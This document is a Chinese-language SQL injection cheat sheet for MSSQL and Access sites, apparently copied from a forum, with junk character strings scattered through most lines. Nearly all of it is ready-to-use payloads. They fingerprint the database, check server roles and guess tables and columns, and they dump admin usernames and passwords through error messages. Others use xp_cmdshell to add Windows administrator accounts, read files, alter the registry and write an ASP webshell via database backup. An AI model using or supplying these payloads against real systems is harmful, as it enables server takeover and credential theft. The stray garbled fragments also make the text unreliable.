1.判断是否有注入
3 F) K5 U# P9 b7 B( D;and 1=1
# A3 c( y0 Q5 h$ h8 {4 H;and 1=2
. Z. t: _/ M& o+ o( k
E8 U7 T" B4 R% n- a4 [: }2.初步判断是否是mssql
. m+ m5 d. M& A& r+ h$ T# Y;and user>0
6 @3 f# l) h/ l% k: ?4 S2 U a0 R) R( V2 h% s
3.判断数据库系统
F$ @, \, ?* b/ J' k9 e, z;and (select count(*) from sysobjects)>0 mssql 4 r6 a" ]( x5 {0 `/ z. O9 S
;and (select count(*) from msysobjects)>0 access
; q8 @% g9 Y u0 c1 s
5 j: R% _* _9 S+ f2 [; W/ j4.注入参数是字符 V- `( B- y! w
'and [查询条件] and ''=' + m& x6 [2 @ D" v/ q& D
/ k' D" b- Y5 g: @3 k- O0 Y; x) @5.搜索时没过滤参数的
& m$ V S# Q! K% ^; c'and [查询条件] and '%25'=' ' W$ C/ ]1 B0 l ^, u' z
; U. \" B' N: P* u6.猜数表名 " x4 @4 M. n, `/ }
;and (select Count(*) from [表名])>0 ! w4 n. q9 K/ y. e
; J: g! f$ ]( s" ]8 A7.猜字段 6 n5 W' ~2 \! ^; [
;and (select Count(字段名) from 表名)>0
7 S6 ~+ x3 g3 v- q2 _8 _
4 G" m( K, B% h$ ?8.猜字段中记录长度 * C/ s6 y" @ j
;and (select top 1 len(字段名) from 表名)>0
0 Y' w9 k; |8 o0 N2 a. `' u6 B
3 n- y" L7 r7 b& q3 a* f0 o5 Z9.(1)猜字段的ascii值(access)
% F- \" }3 ?# C;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 / f( }) Q U# h) H2 B9 d% t
- o: P+ n$ G5 d* V5 v* o
(2)猜字段的ascii值(mssql)
& @2 S' i( r4 r/ q5 e9 S4 k" D;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 , w: L: z6 a4 N5 K: \
( g( ~' w; y, T0 l4 N10.测试权限结构(mssql)
/ [: q) O9 L9 c# r;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 J* A/ \2 l3 H& q# g* i8 L& @
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 s/ r! t9 b5 |' X# d
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9 t0 d; E+ i' T" y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; ^; s( h/ V, h/ p& Q% |0 M
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 a. G5 S" ]# E5 d;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- : x. ], i4 t: N' I
;and 1=(select IS_MEMBER('db_owner'));--
. `' N4 S1 C- l
0 [2 u& p% F$ H# m. H: \4 \11.添加mssql和系统的帐户
3 I7 B$ D1 r; X;exec master.dbo.sp_addlogin username;-- % q/ ~! D2 U4 q. X
;exec master.dbo.sp_password null,username,password;-- ; l0 i4 ^! E$ p+ w% e0 X
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 F0 Q4 e& s& N9 W+ Y- R# p
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 0 \1 f2 h; W( z% R, Z( N5 {
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . m' g( a; ]' n- f
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- % a6 p1 b/ i- @) c2 t
6 [+ W( D# F8 M5 }, p y
12.(1)遍历目录 1 ] Q7 X) Z5 o% a" Q
;create table dirs(paths varchar(100), id int)
5 i( z, k1 s, G/ J5 B;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 X/ }* l7 Z4 i% d4 J;and (select top 1 paths from dirs)>0
! M6 @7 I; L p1 B;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. \$ [( ~+ Y- c' p, W3 m! R
6 n2 y% ~1 T: @* O+ ?5 K$ U(2)遍历目录
: B! z* J2 o0 ?$ y9 n8 t;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 @" \$ U+ ]) L7 ], D' H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 O$ s. K% J% s% b6 i;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ( ?7 I$ Y: o. v9 }, c5 Y- Y
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 Z) {9 F% n- Z2 L' [
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 A0 @1 }& U( f7 ^
+ z: {# i/ M$ Y- w7 Z s) U13.mssql中的存储过程
5 ^7 E4 l& Q4 `" r! qxp_regenumvalues 注册表根键, 子键 ! x* V6 I$ Y1 d$ Q" `* q2 E# [
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! U) a& G8 t* i) p# g7 r
xp_regread 根键,子键,键值名 - P" r m+ J% C, \2 m+ b
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
; O! W2 h1 N; q" ]xp_regwrite 根键,子键, 值名, 值类型, 值
) l# L8 H+ a( Q% W& D7 ]( M0 R值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . o+ q5 ?; {4 u6 U% f4 X
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 8 z7 d5 [( Y4 U8 X
xp_regdeletevalue 根键,子键,值名 3 Q7 I/ ^* u3 E1 F
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 $ g g2 [' ?* d4 c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 r4 u) n# D, R- R) g D
* t1 v" u- @# Z$ ?9 J# b
14.mssql的backup创建webshell 6 D* z2 \% Y' \
use model
7 S8 j5 n& P( `& j0 |4 B# Ycreate table cmd(str image);
! C% }. { P4 S4 S% winsert into cmd(str) values ('<% Dim oScript %>');
$ E& Q& b( [8 q* e$ }! [8 _backup database model to disk='c:\l.asp';
$ `- v: C8 J2 V2 H& N3 v
5 B4 M9 X" O+ [0 M' C15.mssql内置函数
' Y5 E3 Y% d6 r9 E2 @, L4 O;and (select @@version)>0 获得Windows的版本号
( t4 p4 n" l; ` D- N;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 z! \4 W. ?2 Z6 X K, E;and (select user_name())>0 爆当前系统的连接用户 / g" h$ Y& h, X- U! q1 d
;and (select db_name())>0 得到当前连接的数据库
" E' j! W. b3 G! j% b) @1 l2 O/ {2 Q, {) d) k
( q( R4 H* B, \$ ?# r5 N; t2 A& t( M+ Y# M
MSSQL手注暴库4 w. J$ y) {" _+ s8 ~
- d5 o. ?7 q! p" P5 A# ]
1.暴出当前表名和列名
, l% T1 H* r2 R在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& B U0 d: z# s/ A, f4 C" V+ f) R4 n: z- T
第一.爆出所有数据库名$ c3 P& D" U# D# A% m7 A
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
; \) j: a0 d6 u5 \第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
6 y0 N! ` f3 @- a8 l. [! G' ?- `0 v: J i: D
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
' r. k8 s* q7 e0 L* K$ E7 B) S
* e" ?1 j9 I4 K2 A3 w
: x! X) u4 Y" r, ?; {" W6 C第二.爆出指定库中的所有表名
$ \/ Q0 m; }4 G6 T* g得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。: i0 T/ m. N1 z1 G
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
- B; F g7 q, @; z& m% w( `1 k( h$ Q( R V0 p
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--1 C+ S5 n" F/ q0 X7 g- W5 C
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# I' b h( c4 h7 _+ ^; h9 v2 r" Y {6 b
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
* u( M: v3 B1 t% b6 d# H) I$ r& F8 y! p. j1 w% e/ \
4.爆出指定表中的所有列名 I, J/ t& i% M1 H" Z: w! x
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
7 U- @1 c) H* M//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
: w: Q! R9 b, s# r* [
5 k5 M# Z# d6 oand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
) r- k3 t+ S8 ^6 K0 ]1 F* l% u- W% V4 z. Q$ \3 v+ Y) t
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 8 J( g) U U1 f. {
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。; x6 Z' p/ n/ Q* b
) E, U# H. P/ d7 r7 a& G- Q o
% u8 s( L/ S) v3 D" Iand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值6 h3 l9 C$ ?, B0 `- M
1 [) r: U9 T- hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名% b0 f4 M( R: r( e
3 \9 [' \2 d* m. Q$ x c
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- / s6 L' l l& ^
2 _2 j/ G) @7 N g F1 O% j
/ M; Z+ g% F2 n8 D4 V$ u$ J4 n# S
9 q7 Q! K7 H, B2 d6 k5 V5.读取指定表中的数据
0 a1 p! B2 B' J8 _+ u5 Z. k' I: p# R" ^( o J0 n2 w
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; }0 O; v$ t |, p% {9 k4 Q. t
3 Y$ D/ X; s4 g, F; O8 E1 D2 uand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--% F! k- S- P( T7 w
; v2 n# ^" Y \2 r. B
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码/ E/ U' W& E$ m- \
. M4 H5 G9 A$ G/ z1 V8 A
. s" y* _' U1 k, ]( q1 a5 ~6 v2 \/ {
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)+ \" J+ R$ j# m8 ?2 v/ `
4 C5 p" r' d# F" v$ vand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
* T4 U2 e+ Q" Z: V3 j5 p: a+ F, }% B, g* b8 Z6 t, j6 s
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--' a$ `& M/ p. o# R0 i& ?4 S) j
! G7 [, ]4 S. Q0 g2 J2 a2 ^
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
5 E Q# q; u1 Z9 T* u) n9 ^- X; \ |